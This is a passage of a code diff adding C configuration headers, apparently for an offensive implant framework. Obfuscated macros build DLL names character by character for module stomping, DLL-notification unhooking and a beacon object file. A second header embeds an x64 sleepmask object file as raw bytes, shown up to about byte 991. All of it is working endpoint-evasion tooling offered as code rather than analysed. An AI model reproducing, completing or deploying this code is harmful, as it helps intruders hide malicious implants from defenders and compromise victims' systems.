||||
(p)[ 4]=L'i'; (p)[ 5]=L'p'; (p)[ 6]=L't'; (p)[ 7]=L'9'; \
|
||||
(p)[ 8]=L'.'; (p)[ 9]=L'd'; (p)[10]=L'l'; (p)[11]=L'l'; \
|
||||
(p)[12]=L'\0'; \
|
||||
} while(0)
|
||||
|
||||
#define NAX_BOF_ASYNC_1_WRITE( p ) do { \
|
||||
(p)[ 0]=L'd'; (p)[ 1]=L'3'; (p)[ 2]=L'd'; (p)[ 3]=L'1'; \
|
||||
(p)[ 4]=L'1'; (p)[ 5]=L'.'; (p)[ 6]=L'd'; (p)[ 7]=L'l'; \
|
||||
(p)[ 8]=L'l'; \
|
||||
(p)[ 9]=L'\0'; \
|
||||
} while(0)
|
||||
|
||||
/* ---- sleepmask stomp DLL ---- */
|
||||
#define NAX_SM_STOMP_DLL_WRITE( p ) do { \
|
||||
(p)[ 0]=L'm'; (p)[ 1]=L's'; (p)[ 2]=L'x'; (p)[ 3]=L'm'; \
|
||||
(p)[ 4]=L'l'; (p)[ 5]=L'6'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \
|
||||
(p)[ 8]=L'l'; (p)[ 9]=L'l'; \
|
||||
(p)[10]=L'\0'; \
|
||||
} while(0)
|
||||
|
||||
/* ---- DLL notification unhooking ---- */
|
||||
#define NAX_UNHOOK_DLL_NOTIFY 1
|
||||
|
||||
/* ---- embedded sleepmask BOF ---- */
|
||||
#define NAX_SLEEPMASK_LEN 3723u
|
||||
#include "Config_sleepmask.h"
|
||||
@@ -0,0 +1,471 @@
|
||||
/* Config_sleepmask.h - auto-generated sleepmask BOF embed
|
||||
* 3723 bytes, included by Config.h */
|
||||
|
||||
#define NAX_SLEEPMASK_WRITE( p ) do { \
|
||||
(p)[ 0]=0x64; (p)[ 1]=0x86; (p)[ 2]=0x07; (p)[ 3]=0x00; (p)[ 4]=0x00; (p)[ 5]=0x00; (p)[ 6]=0x00; (p)[ 7]=0x00; \
|
||||
(p)[ 8]=0xF4; (p)[ 9]=0x0A; (p)[ 10]=0x00; (p)[ 11]=0x00; (p)[ 12]=0x22; (p)[ 13]=0x00; (p)[ 14]=0x00; (p)[ 15]=0x00; \
|
||||
(p)[ 16]=0x00; (p)[ 17]=0x00; (p)[ 18]=0x04; (p)[ 19]=0x00; (p)[ 20]=0x2E; (p)[ 21]=0x74; (p)[ 22]=0x65; (p)[ 23]=0x78; \
|
||||
(p)[ 24]=0x74; (p)[ 25]=0x00; (p)[ 26]=0x00; (p)[ 27]=0x00; (p)[ 28]=0x00; (p)[ 29]=0x00; (p)[ 30]=0x00; (p)[ 31]=0x00; \
|
||||
(p)[ 32]=0x00; (p)[ 33]=0x00; (p)[ 34]=0x00; (p)[ 35]=0x00; (p)[ 36]=0x20; (p)[ 37]=0x07; (p)[ 38]=0x00; (p)[ 39]=0x00; \
|
||||
(p)[ 40]=0x2C; (p)[ 41]=0x01; (p)[ 42]=0x00; (p)[ 43]=0x00; (p)[ 44]=0xB4; (p)[ 45]=0x09; (p)[ 46]=0x00; (p)[ 47]=0x00; \
|
||||
(p)[ 48]=0x00; (p)[ 49]=0x00; (p)[ 50]=0x00; (p)[ 51]=0x00; (p)[ 52]=0x0E; (p)[ 53]=0x00; (p)[ 54]=0x00; (p)[ 55]=0x00; \
|
||||
(p)[ 56]=0x20; (p)[ 57]=0x00; (p)[ 58]=0x50; (p)[ 59]=0x60; (p)[ 60]=0x2E; (p)[ 61]=0x64; (p)[ 62]=0x61; (p)[ 63]=0x74; \
|
||||
(p)[ 64]=0x61; (p)[ 65]=0x00; (p)[ 66]=0x00; (p)[ 67]=0x00; (p)[ 68]=0x00; (p)[ 69]=0x00; (p)[ 70]=0x00; (p)[ 71]=0x00; \
|
||||
(p)[ 72]=0x00; (p)[ 73]=0x00; (p)[ 74]=0x00; (p)[ 75]=0x00; (p)[ 76]=0x00; (p)[ 77]=0x00; (p)[ 78]=0x00; (p)[ 79]=0x00; \
|
||||
(p)[ 80]=0x00; (p)[ 81]=0x00; (p)[ 82]=0x00; (p)[ 83]=0x00; (p)[ 84]=0x00; (p)[ 85]=0x00; (p)[ 86]=0x00; (p)[ 87]=0x00; \
|
||||
(p)[ 88]=0x00; (p)[ 89]=0x00; (p)[ 90]=0x00; (p)[ 91]=0x00; (p)[ 92]=0x00; (p)[ 93]=0x00; (p)[ 94]=0x00; (p)[ 95]=0x00; \
|
||||
(p)[ 96]=0x40; (p)[ 97]=0x00; (p)[ 98]=0x50; (p)[ 99]=0xC0; (p)[ 100]=0x2E; (p)[ 101]=0x62; (p)[ 102]=0x73; (p)[ 103]=0x73; \
|
||||
(p)[ 104]=0x00; (p)[ 105]=0x00; (p)[ 106]=0x00; (p)[ 107]=0x00; (p)[ 108]=0x00; (p)[ 109]=0x00; (p)[ 110]=0x00; (p)[ 111]=0x00; \
|
||||
(p)[ 112]=0x00; (p)[ 113]=0x00; (p)[ 114]=0x00; (p)[ 115]=0x00; (p)[ 116]=0x00; (p)[ 117]=0x00; (p)[ 118]=0x00; (p)[ 119]=0x00; \
|
||||
(p)[ 120]=0x00; (p)[ 121]=0x00; (p)[ 122]=0x00; (p)[ 123]=0x00; (p)[ 124]=0x00; (p)[ 125]=0x00; (p)[ 126]=0x00; (p)[ 127]=0x00; \
|
||||
(p)[ 128]=0x00; (p)[ 129]=0x00; (p)[ 130]=0x00; (p)[ 131]=0x00; (p)[ 132]=0x00; (p)[ 133]=0x00; (p)[ 134]=0x00; (p)[ 135]=0x00; \
|
||||
(p)[ 136]=0x80; (p)[ 137]=0x00; (p)[ 138]=0x50; (p)[ 139]=0xC0; (p)[ 140]=0x2E; (p)[ 141]=0x72; (p)[ 142]=0x64; (p)[ 143]=0x61; \
|
||||
(p)[ 144]=0x74; (p)[ 145]=0x61; (p)[ 146]=0x00; (p)[ 147]=0x00; (p)[ 148]=0x00; (p)[ 149]=0x00; (p)[ 150]=0x00; (p)[ 151]=0x00; \
|
||||
(p)[ 152]=0x00; (p)[ 153]=0x00; (p)[ 154]=0x00; (p)[ 155]=0x00; (p)[ 156]=0xB0; (p)[ 157]=0x00; (p)[ 158]=0x00; (p)[ 159]=0x00; \
|
||||
(p)[ 160]=0x4C; (p)[ 161]=0x08; (p)[ 162]=0x00; (p)[ 163]=0x00; (p)[ 164]=0x00; (p)[ 165]=0x00; (p)[ 166]=0x00; (p)[ 167]=0x00; \
|
||||
(p)[ 168]=0x00; (p)[ 169]=0x00; (p)[ 170]=0x00; (p)[ 171]=0x00; (p)[ 172]=0x00; (p)[ 173]=0x00; (p)[ 174]=0x00; (p)[ 175]=0x00; \
|
||||
(p)[ 176]=0x40; (p)[ 177]=0x00; (p)[ 178]=0x50; (p)[ 179]=0x40; (p)[ 180]=0x2E; (p)[ 181]=0x78; (p)[ 182]=0x64; (p)[ 183]=0x61; \
|
||||
(p)[ 184]=0x74; (p)[ 185]=0x61; (p)[ 186]=0x00; (p)[ 187]=0x00; (p)[ 188]=0x00; (p)[ 189]=0x00; (p)[ 190]=0x00; (p)[ 191]=0x00; \
|
||||
(p)[ 192]=0x00; (p)[ 193]=0x00; (p)[ 194]=0x00; (p)[ 195]=0x00; (p)[ 196]=0x50; (p)[ 197]=0x00; (p)[ 198]=0x00; (p)[ 199]=0x00; \
|
||||
(p)[ 200]=0xFC; (p)[ 201]=0x08; (p)[ 202]=0x00; (p)[ 203]=0x00; (p)[ 204]=0x00; (p)[ 205]=0x00; (p)[ 206]=0x00; (p)[ 207]=0x00; \
|
||||
(p)[ 208]=0x00; (p)[ 209]=0x00; (p)[ 210]=0x00; (p)[ 211]=0x00; (p)[ 212]=0x00; (p)[ 213]=0x00; (p)[ 214]=0x00; (p)[ 215]=0x00; \
|
||||
(p)[ 216]=0x40; (p)[ 217]=0x00; (p)[ 218]=0x30; (p)[ 219]=0x40; (p)[ 220]=0x2E; (p)[ 221]=0x70; (p)[ 222]=0x64; (p)[ 223]=0x61; \
|
||||
(p)[ 224]=0x74; (p)[ 225]=0x61; (p)[ 226]=0x00; (p)[ 227]=0x00; (p)[ 228]=0x00; (p)[ 229]=0x00; (p)[ 230]=0x00; (p)[ 231]=0x00; \
|
||||
(p)[ 232]=0x00; (p)[ 233]=0x00; (p)[ 234]=0x00; (p)[ 235]=0x00; (p)[ 236]=0x48; (p)[ 237]=0x00; (p)[ 238]=0x00; (p)[ 239]=0x00; \
|
||||
(p)[ 240]=0x4C; (p)[ 241]=0x09; (p)[ 242]=0x00; (p)[ 243]=0x00; (p)[ 244]=0x40; (p)[ 245]=0x0A; (p)[ 246]=0x00; (p)[ 247]=0x00; \
|
||||
(p)[ 248]=0x00; (p)[ 249]=0x00; (p)[ 250]=0x00; (p)[ 251]=0x00; (p)[ 252]=0x12; (p)[ 253]=0x00; (p)[ 254]=0x00; (p)[ 255]=0x00; \
|
||||
(p)[ 256]=0x40; (p)[ 257]=0x00; (p)[ 258]=0x30; (p)[ 259]=0x40; (p)[ 260]=0x2F; (p)[ 261]=0x34; (p)[ 262]=0x00; (p)[ 263]=0x00; \
|
||||
(p)[ 264]=0x00; (p)[ 265]=0x00; (p)[ 266]=0x00; (p)[ 267]=0x00; (p)[ 268]=0x00; (p)[ 269]=0x00; (p)[ 270]=0x00; (p)[ 271]=0x00; \
|
||||
(p)[ 272]=0x00; (p)[ 273]=0x00; (p)[ 274]=0x00; (p)[ 275]=0x00; (p)[ 276]=0x20; (p)[ 277]=0x00; (p)[ 278]=0x00; (p)[ 279]=0x00; \
|
||||
(p)[ 280]=0x94; (p)[ 281]=0x09; (p)[ 282]=0x00; (p)[ 283]=0x00; (p)[ 284]=0x00; (p)[ 285]=0x00; (p)[ 286]=0x00; (p)[ 287]=0x00; \
|
||||
(p)[ 288]=0x00; (p)[ 289]=0x00; (p)[ 290]=0x00; (p)[ 291]=0x00; (p)[ 292]=0x00; (p)[ 293]=0x00; (p)[ 294]=0x00; (p)[ 295]=0x00; \
|
||||
(p)[ 296]=0x40; (p)[ 297]=0x00; (p)[ 298]=0x50; (p)[ 299]=0x40; (p)[ 300]=0x55; (p)[ 301]=0x48; (p)[ 302]=0x89; (p)[ 303]=0xE5; \
|
||||
(p)[ 304]=0x48; (p)[ 305]=0x83; (p)[ 306]=0xEC; (p)[ 307]=0x50; (p)[ 308]=0x48; (p)[ 309]=0x89; (p)[ 310]=0x4D; (p)[ 311]=0x10; \
|
||||
(p)[ 312]=0x48; (p)[ 313]=0x8B; (p)[ 314]=0x45; (p)[ 315]=0x10; (p)[ 316]=0x48; (p)[ 317]=0x8B; (p)[ 318]=0x40; (p)[ 319]=0x10; \
|
||||
(p)[ 320]=0x89; (p)[ 321]=0x45; (p)[ 322]=0xFC; (p)[ 323]=0x8B; (p)[ 324]=0x45; (p)[ 325]=0xFC; (p)[ 326]=0x48; (p)[ 327]=0x8D; \
|
||||
(p)[ 328]=0x0D; (p)[ 329]=0x00; (p)[ 330]=0x00; (p)[ 331]=0x00; (p)[ 332]=0x00; (p)[ 333]=0x89; (p)[ 334]=0xC2; (p)[ 335]=0x48; \
|
||||
(p)[ 336]=0x8B; (p)[ 337]=0x05; (p)[ 338]=0x00; (p)[ 339]=0x00; (p)[ 340]=0x00; (p)[ 341]=0x00; (p)[ 342]=0xFF; (p)[ 343]=0xD0; \
|
||||
(p)[ 344]=0x48; (p)[ 345]=0xC7; (p)[ 346]=0x45; (p)[ 347]=0xF0; (p)[ 348]=0x00; (p)[ 349]=0x00; (p)[ 350]=0x00; (p)[ 351]=0x00; \
|
||||
(p)[ 352]=0x48; (p)[ 353]=0x8D; (p)[ 354]=0x45; (p)[ 355]=0xF0; (p)[ 356]=0xC7; (p)[ 357]=0x44; (p)[ 358]=0x24; (p)[ 359]=0x20; \
|
||||
(p)[ 360]=0x00; (p)[ 361]=0x00; (p)[ 362]=0x00; (p)[ 363]=0x00; (p)[ 364]=0x41; (p)[ 365]=0xB9; (p)[ 366]=0x01; (p)[ 367]=0x00; \
|
||||
(p)[ 368]=0x00; (p)[ 369]=0x00; (p)[ 370]=0x41; (p)[ 371]=0xB8; (p)[ 372]=0x00; (p)[ 373]=0x00; (p)[ 374]=0x00; (p)[ 375]=0x00; \
|
||||
(p)[ 376]=0xBA; (p)[ 377]=0x03; (p)[ 378]=0x00; (p)[ 379]=0x1F; (p)[ 380]=0x00; (p)[ 381]=0x48; (p)[ 382]=0x89; (p)[ 383]=0xC1; \
|
||||
(p)[ 384]=0x48; (p)[ 385]=0x8B; (p)[ 386]=0x05; (p)[ 387]=0x00; (p)[ 388]=0x00; (p)[ 389]=0x00; (p)[ 390]=0x00; (p)[ 391]=0xFF; \
|
||||
(p)[ 392]=0xD0; (p)[ 393]=0x48; (p)[ 394]=0x8B; (p)[ 395]=0x45; (p)[ 396]=0xF0; (p)[ 397]=0x48; (p)[ 398]=0x85; (p)[ 399]=0xC0; \
|
||||
(p)[ 400]=0x74; (p)[ 401]=0x3A; (p)[ 402]=0x8B; (p)[ 403]=0x45; (p)[ 404]=0xFC; (p)[ 405]=0x48; (p)[ 406]=0x69; (p)[ 407]=0xC0; \
|
||||
(p)[ 408]=0xF0; (p)[ 409]=0xD8; (p)[ 410]=0xFF; (p)[ 411]=0xFF; (p)[ 412]=0x48; (p)[ 413]=0x89; (p)[ 414]=0x45; (p)[ 415]=0xE8; \
|
||||
(p)[ 416]=0x48; (p)[ 417]=0x8B; (p)[ 418]=0x45; (p)[ 419]=0xF0; (p)[ 420]=0x48; (p)[ 421]=0x8D; (p)[ 422]=0x55; (p)[ 423]=0xE8; \
|
||||
(p)[ 424]=0x49; (p)[ 425]=0x89; (p)[ 426]=0xD0; (p)[ 427]=0xBA; (p)[ 428]=0x00; (p)[ 429]=0x00; (p)[ 430]=0x00; (p)[ 431]=0x00; \
|
||||
(p)[ 432]=0x48; (p)[ 433]=0x89; (p)[ 434]=0xC1; (p)[ 435]=0x48; (p)[ 436]=0x8B; (p)[ 437]=0x05; (p)[ 438]=0x00; (p)[ 439]=0x00; \
|
||||
(p)[ 440]=0x00; (p)[ 441]=0x00; (p)[ 442]=0xFF; (p)[ 443]=0xD0; (p)[ 444]=0x48; (p)[ 445]=0x8B; (p)[ 446]=0x45; (p)[ 447]=0xF0; \
|
||||
(p)[ 448]=0x48; (p)[ 449]=0x89; (p)[ 450]=0xC1; (p)[ 451]=0x48; (p)[ 452]=0x8B; (p)[ 453]=0x05; (p)[ 454]=0x00; (p)[ 455]=0x00; \
|
||||
(p)[ 456]=0x00; (p)[ 457]=0x00; (p)[ 458]=0xFF; (p)[ 459]=0xD0; (p)[ 460]=0x90; (p)[ 461]=0x48; (p)[ 462]=0x83; (p)[ 463]=0xC4; \
|
||||
(p)[ 464]=0x50; (p)[ 465]=0x5D; (p)[ 466]=0xC3; (p)[ 467]=0x55; (p)[ 468]=0x48; (p)[ 469]=0x89; (p)[ 470]=0xE5; (p)[ 471]=0x48; \
|
||||
(p)[ 472]=0x83; (p)[ 473]=0xEC; (p)[ 474]=0x40; (p)[ 475]=0x48; (p)[ 476]=0x89; (p)[ 477]=0x4D; (p)[ 478]=0x10; (p)[ 479]=0x48; \
|
||||
(p)[ 480]=0x8B; (p)[ 481]=0x45; (p)[ 482]=0x10; (p)[ 483]=0x48; (p)[ 484]=0x8B; (p)[ 485]=0x40; (p)[ 486]=0x10; (p)[ 487]=0x48; \
|
||||
(p)[ 488]=0x89; (p)[ 489]=0x45; (p)[ 490]=0xF8; (p)[ 491]=0x48; (p)[ 492]=0x8B; (p)[ 493]=0x45; (p)[ 494]=0x10; (p)[ 495]=0x48; \
|
||||
(p)[ 496]=0x8B; (p)[ 497]=0x40; (p)[ 498]=0x18; (p)[ 499]=0x89; (p)[ 500]=0x45; (p)[ 501]=0xF4; (p)[ 502]=0x8B; (p)[ 503]=0x55; \
|
||||
(p)[ 504]=0xF4; (p)[ 505]=0x48; (p)[ 506]=0x8B; (p)[ 507]=0x45; (p)[ 508]=0xF8; (p)[ 509]=0x48; (p)[ 510]=0x8D; (p)[ 511]=0x0D; \
|
||||
(p)[ 512]=0x20; (p)[ 513]=0x00; (p)[ 514]=0x00; (p)[ 515]=0x00; (p)[ 516]=0x41; (p)[ 517]=0x89; (p)[ 518]=0xD0; (p)[ 519]=0x48; \
|
||||
(p)[ 520]=0x89; (p)[ 521]=0xC2; (p)[ 522]=0x48; (p)[ 523]=0x8B; (p)[ 524]=0x05; (p)[ 525]=0x00; (p)[ 526]=0x00; (p)[ 527]=0x00; \
|
||||
(p)[ 528]=0x00; (p)[ 529]=0xFF; (p)[ 530]=0xD0; (p)[ 531]=0x8B; (p)[ 532]=0x45; (p)[ 533]=0xF4; (p)[ 534]=0x48; (p)[ 535]=0x69; \
|
||||
(p)[ 536]=0xC0; (p)[ 537]=0xF0; (p)[ 538]=0xD8; (p)[ 539]=0xFF; (p)[ 540]=0xFF; (p)[ 541]=0x48; (p)[ 542]=0x89; (p)[ 543]=0x45; \
|
||||
(p)[ 544]=0xE8; (p)[ 545]=0x48; (p)[ 546]=0x8D; (p)[ 547]=0x55; (p)[ 548]=0xE8; (p)[ 549]=0x48; (p)[ 550]=0x8B; (p)[ 551]=0x45; \
|
||||
(p)[ 552]=0xF8; (p)[ 553]=0x49; (p)[ 554]=0x89; (p)[ 555]=0xD0; (p)[ 556]=0xBA; (p)[ 557]=0x00; (p)[ 558]=0x00; (p)[ 559]=0x00; \
|
||||
(p)[ 560]=0x00; (p)[ 561]=0x48; (p)[ 562]=0x89; (p)[ 563]=0xC1; (p)[ 564]=0x48; (p)[ 565]=0x8B; (p)[ 566]=0x05; (p)[ 567]=0x00; \
|
||||
(p)[ 568]=0x00; (p)[ 569]=0x00; (p)[ 570]=0x00; (p)[ 571]=0xFF; (p)[ 572]=0xD0; (p)[ 573]=0x89; (p)[ 574]=0x45; (p)[ 575]=0xF0; \
|
||||
(p)[ 576]=0x8B; (p)[ 577]=0x45; (p)[ 578]=0xF0; (p)[ 579]=0x48; (p)[ 580]=0x63; (p)[ 581]=0xD0; (p)[ 582]=0x48; (p)[ 583]=0x8B; \
|
||||
(p)[ 584]=0x45; (p)[ 585]=0x10; (p)[ 586]=0x48; (p)[ 587]=0x89; (p)[ 588]=0x50; (p)[ 589]=0x60; (p)[ 590]=0x90; (p)[ 591]=0x48; \
|
||||
(p)[ 592]=0x83; (p)[ 593]=0xC4; (p)[ 594]=0x40; (p)[ 595]=0x5D; (p)[ 596]=0xC3; (p)[ 597]=0x55; (p)[ 598]=0x48; (p)[ 599]=0x89; \
|
||||
(p)[ 600]=0xE5; (p)[ 601]=0x48; (p)[ 602]=0x83; (p)[ 603]=0xEC; (p)[ 604]=0x30; (p)[ 605]=0x48; (p)[ 606]=0x89; (p)[ 607]=0x4D; \
|
||||
(p)[ 608]=0x10; (p)[ 609]=0x48; (p)[ 610]=0x8B; (p)[ 611]=0x45; (p)[ 612]=0x10; (p)[ 613]=0x48; (p)[ 614]=0x8B; (p)[ 615]=0x40; \
|
||||
(p)[ 616]=0x28; (p)[ 617]=0x89; (p)[ 618]=0x45; (p)[ 619]=0xFC; (p)[ 620]=0x48; (p)[ 621]=0x8B; (p)[ 622]=0x45; (p)[ 623]=0x10; \
|
||||
(p)[ 624]=0x48; (p)[ 625]=0x8B; (p)[ 626]=0x40; (p)[ 627]=0x20; (p)[ 628]=0x41; (p)[ 629]=0x89; (p)[ 630]=0xC0; (p)[ 631]=0x48; \
|
||||
(p)[ 632]=0x8B; (p)[ 633]=0x45; (p)[ 634]=0x10; (p)[ 635]=0x48; (p)[ 636]=0x8B; (p)[ 637]=0x40; (p)[ 638]=0x10; (p)[ 639]=0x89; \
|
||||
(p)[ 640]=0xC1; (p)[ 641]=0x8B; (p)[ 642]=0x55; (p)[ 643]=0xFC; (p)[ 644]=0x48; (p)[ 645]=0x8D; (p)[ 646]=0x05; (p)[ 647]=0x48; \
|
||||
(p)[ 648]=0x00; (p)[ 649]=0x00; (p)[ 650]=0x00; (p)[ 651]=0x41; (p)[ 652]=0x89; (p)[ 653]=0xD1; (p)[ 654]=0x89; (p)[ 655]=0xCA; \
|
||||
(p)[ 656]=0x48; (p)[ 657]=0x89; (p)[ 658]=0xC1; (p)[ 659]=0x48; (p)[ 660]=0x8B; (p)[ 661]=0x05; (p)[ 662]=0x00; (p)[ 663]=0x00; \
|
||||
(p)[ 664]=0x00; (p)[ 665]=0x00; (p)[ 666]=0xFF; (p)[ 667]=0xD0; (p)[ 668]=0x48; (p)[ 669]=0x8B; (p)[ 670]=0x45; (p)[ 671]=0x10; \
|
||||
(p)[ 672]=0x48; (p)[ 673]=0x8B; (p)[ 674]=0x40; (p)[ 675]=0x20; (p)[ 676]=0x41; (p)[ 677]=0x89; (p)[ 678]=0xC0; (p)[ 679]=0x48; \
|
||||
(p)[ 680]=0x8B; (p)[ 681]=0x45; (p)[ 682]=0x10; (p)[ 683]=0x48; (p)[ 684]=0x8B; (p)[ 685]=0x40; (p)[ 686]=0x18; (p)[ 687]=0x48; \
|
||||
(p)[ 688]=0x89; (p)[ 689]=0xC2; (p)[ 690]=0x48; (p)[ 691]=0x8B; (p)[ 692]=0x45; (p)[ 693]=0x10; (p)[ 694]=0x48; (p)[ 695]=0x8B; \
|
||||
(p)[ 696]=0x40; (p)[ 697]=0x10; (p)[ 698]=0x89; (p)[ 699]=0xC1; (p)[ 700]=0x8B; (p)[ 701]=0x45; (p)[ 702]=0xFC; (p)[ 703]=0x41; \
|
||||
(p)[ 704]=0x89; (p)[ 705]=0xC1; (p)[ 706]=0x48; (p)[ 707]=0x8B; (p)[ 708]=0x05; (p)[ 709]=0x00; (p)[ 710]=0x00; (p)[ 711]=0x00; \
|
||||
(p)[ 712]=0x00; (p)[ 713]=0xFF; (p)[ 714]=0xD0; (p)[ 715]=0x89; (p)[ 716]=0x45; (p)[ 717]=0xF8; (p)[ 718]=0x8B; (p)[ 719]=0x55; \
|
||||
(p)[ 720]=0xF8; (p)[ 721]=0x48; (p)[ 722]=0x8B; (p)[ 723]=0x45; (p)[ 724]=0x10; (p)[ 725]=0x48; (p)[ 726]=0x89; (p)[ 727]=0x50; \
|
||||
(p)[ 728]=0x60; (p)[ 729]=0x90; (p)[ 730]=0x48; (p)[ 731]=0x83; (p)[ 732]=0xC4; (p)[ 733]=0x30; (p)[ 734]=0x5D; (p)[ 735]=0xC3; \
|
||||
(p)[ 736]=0x55; (p)[ 737]=0x48; (p)[ 738]=0x89; (p)[ 739]=0xE5; (p)[ 740]=0x48; (p)[ 741]=0x83; (p)[ 742]=0xEC; (p)[ 743]=0x50; \
|
||||
(p)[ 744]=0x48; (p)[ 745]=0x89; (p)[ 746]=0x4D; (p)[ 747]=0x10; (p)[ 748]=0x48; (p)[ 749]=0x8B; (p)[ 750]=0x45; (p)[ 751]=0x10; \
|
||||
(p)[ 752]=0x48; (p)[ 753]=0x8B; (p)[ 754]=0x40; (p)[ 755]=0x10; (p)[ 756]=0x48; (p)[ 757]=0x89; (p)[ 758]=0x45; (p)[ 759]=0xF8; \
|
||||
(p)[ 760]=0x48; (p)[ 761]=0x8B; (p)[ 762]=0x45; (p)[ 763]=0x10; (p)[ 764]=0x48; (p)[ 765]=0x8B; (p)[ 766]=0x40; (p)[ 767]=0x18; \
|
||||
(p)[ 768]=0x48; (p)[ 769]=0x89; (p)[ 770]=0x45; (p)[ 771]=0xF0; (p)[ 772]=0x48; (p)[ 773]=0x8B; (p)[ 774]=0x45; (p)[ 775]=0x10; \
|
||||
(p)[ 776]=0x48; (p)[ 777]=0x8B; (p)[ 778]=0x40; (p)[ 779]=0x20; (p)[ 780]=0x89; (p)[ 781]=0x45; (p)[ 782]=0xEC; (p)[ 783]=0x48; \
|
||||
(p)[ 784]=0x8B; (p)[ 785]=0x45; (p)[ 786]=0x10; (p)[ 787]=0x48; (p)[ 788]=0x8B; (p)[ 789]=0x40; (p)[ 790]=0x28; (p)[ 791]=0x48; \
|
||||
(p)[ 792]=0x89; (p)[ 793]=0x45; (p)[ 794]=0xE0; (p)[ 795]=0x4C; (p)[ 796]=0x8B; (p)[ 797]=0x45; (p)[ 798]=0xE0; (p)[ 799]=0x8B; \
|
||||
(p)[ 800]=0x4D; (p)[ 801]=0xEC; (p)[ 802]=0x48; (p)[ 803]=0x8B; (p)[ 804]=0x55; (p)[ 805]=0xF0; (p)[ 806]=0x48; (p)[ 807]=0x8B; \
|
||||
(p)[ 808]=0x45; (p)[ 809]=0xF8; (p)[ 810]=0x4D; (p)[ 811]=0x89; (p)[ 812]=0xC1; (p)[ 813]=0x41; (p)[ 814]=0x89; (p)[ 815]=0xC8; \
|
||||
(p)[ 816]=0x48; (p)[ 817]=0x89; (p)[ 818]=0xC1; (p)[ 819]=0x48; (p)[ 820]=0x8B; (p)[ 821]=0x05; (p)[ 822]=0x00; (p)[ 823]=0x00; \
|
||||
(p)[ 824]=0x00; (p)[ 825]=0x00; (p)[ 826]=0xFF; (p)[ 827]=0xD0; (p)[ 828]=0x89; (p)[ 829]=0x45; (p)[ 830]=0xDC; (p)[ 831]=0x8B; \
|
||||
(p)[ 832]=0x45; (p)[ 833]=0xDC; (p)[ 834]=0x48; (p)[ 835]=0x63; (p)[ 836]=0xD0; (p)[ 837]=0x48; (p)[ 838]=0x8B; (p)[ 839]=0x45; \
|
||||
(p)[ 840]=0x10; (p)[ 841]=0x48; (p)[ 842]=0x89; (p)[ 843]=0x50; (p)[ 844]=0x60; (p)[ 845]=0x90; (p)[ 846]=0x48; (p)[ 847]=0x83; \
|
||||
(p)[ 848]=0xC4; (p)[ 849]=0x50; (p)[ 850]=0x5D; (p)[ 851]=0xC3; (p)[ 852]=0x55; (p)[ 853]=0x41; (p)[ 854]=0x54; (p)[ 855]=0x57; \
|
||||
(p)[ 856]=0x56; (p)[ 857]=0x53; (p)[ 858]=0x48; (p)[ 859]=0x83; (p)[ 860]=0xEC; (p)[ 861]=0x50; (p)[ 862]=0x48; (p)[ 863]=0x8D; \
|
||||
(p)[ 864]=0x6C; (p)[ 865]=0x24; (p)[ 866]=0x50; (p)[ 867]=0x48; (p)[ 868]=0x89; (p)[ 869]=0x4D; (p)[ 870]=0x30; (p)[ 871]=0x48; \
|
||||
(p)[ 872]=0x8B; (p)[ 873]=0x45; (p)[ 874]=0x30; (p)[ 875]=0x8B; (p)[ 876]=0x40; (p)[ 877]=0x0C; (p)[ 878]=0x83; (p)[ 879]=0xF8; \
|
||||
(p)[ 880]=0x0A; (p)[ 881]=0x0F; (p)[ 882]=0x84; (p)[ 883]=0x8B; (p)[ 884]=0x03; (p)[ 885]=0x00; (p)[ 886]=0x00; (p)[ 887]=0x83; \
|
||||
(p)[ 888]=0xF8; (p)[ 889]=0x0A; (p)[ 890]=0x0F; (p)[ 891]=0x87; (p)[ 892]=0x0F; (p)[ 893]=0x04; (p)[ 894]=0x00; (p)[ 895]=0x00; \
|
||||
(p)[ 896]=0x83; (p)[ 897]=0xF8; (p)[ 898]=0x09; (p)[ 899]=0x0F; (p)[ 900]=0x84; (p)[ 901]=0xF6; (p)[ 902]=0x02; (p)[ 903]=0x00; \
|
||||
(p)[ 904]=0x00; (p)[ 905]=0x83; (p)[ 906]=0xF8; (p)[ 907]=0x09; (p)[ 908]=0x0F; (p)[ 909]=0x87; (p)[ 910]=0xFD; (p)[ 911]=0x03; \
|
||||
(p)[ 912]=0x00; (p)[ 913]=0x00; (p)[ 914]=0x83; (p)[ 915]=0xF8; (p)[ 916]=0x08; (p)[ 917]=0x0F; (p)[ 918]=0x84; (p)[ 919]=0x6E; \
|
||||
(p)[ 920]=0x02; (p)[ 921]=0x00; (p)[ 922]=0x00; (p)[ 923]=0x83; (p)[ 924]=0xF8; (p)[ 925]=0x08; (p)[ 926]=0x0F; (p)[ 927]=0x87; \
|
||||
(p)[ 928]=0xEB; (p)[ 929]=0x03; (p)[ 930]=0x00; (p)[ 931]=0x00; (p)[ 932]=0x83; (p)[ 933]=0xF8; (p)[ 934]=0x07; (p)[ 935]=0x0F; \
|
||||
(p)[ 936]=0x84; (p)[ 937]=0xF3; (p)[ 938]=0x01; (p)[ 939]=0x00; (p)[ 940]=0x00; (p)[ 941]=0x83; (p)[ 942]=0xF8; (p)[ 943]=0x07; \
|
||||
(p)[ 944]=0x0F; (p)[ 945]=0x87; (p)[ 946]=0xD9; (p)[ 947]=0x03; (p)[ 948]=0x00; (p)[ 949]=0x00; (p)[ 950]=0x83; (p)[ 951]=0xF8; \
|
||||
(p)[ 952]=0x06; (p)[ 953]=0x0F; (p)[ 954]=0x84; (p)[ 955]=0x87; (p)[ 956]=0x01; (p)[ 957]=0x00; (p)[ 958]=0x00; (p)[ 959]=0x83; \
|
||||
(p)[ 960]=0xF8; (p)[ 961]=0x06; (p)[ 962]=0x0F; (p)[ 963]=0x87; (p)[ 964]=0xC7; (p)[ 965]=0x03; (p)[ 966]=0x00; (p)[ 967]=0x00; \
|
||||
(p)[ 968]=0x83; (p)[ 969]=0xF8; (p)[ 970]=0x05; (p)[ 971]=0x0F; (p)[ 972]=0x84; (p)[ 973]=0x2B; (p)[ 974]=0x01; (p)[ 975]=0x00; \
|
||||
(p)[ 976]=0x00; (p)[ 977]=0x83; (p)[ 978]=0xF8; (p)[ 979]=0x05; (p)[ 980]=0x0F; (p)[ 981]=0x87; (p)[ 982]=0xB5; (p)[ 983]=0x03; \
|
||||
(p)[ 984]=0x00; (p)[ 985]=0x00; (p)[ 986]=0x83; (p)[ 987]=0xF8; (p)[ 988]=0x04; (p)[ 989]=0x0F; (p)[ 990]=0x84; (p)[ 991]=0xD6; \
|
||||
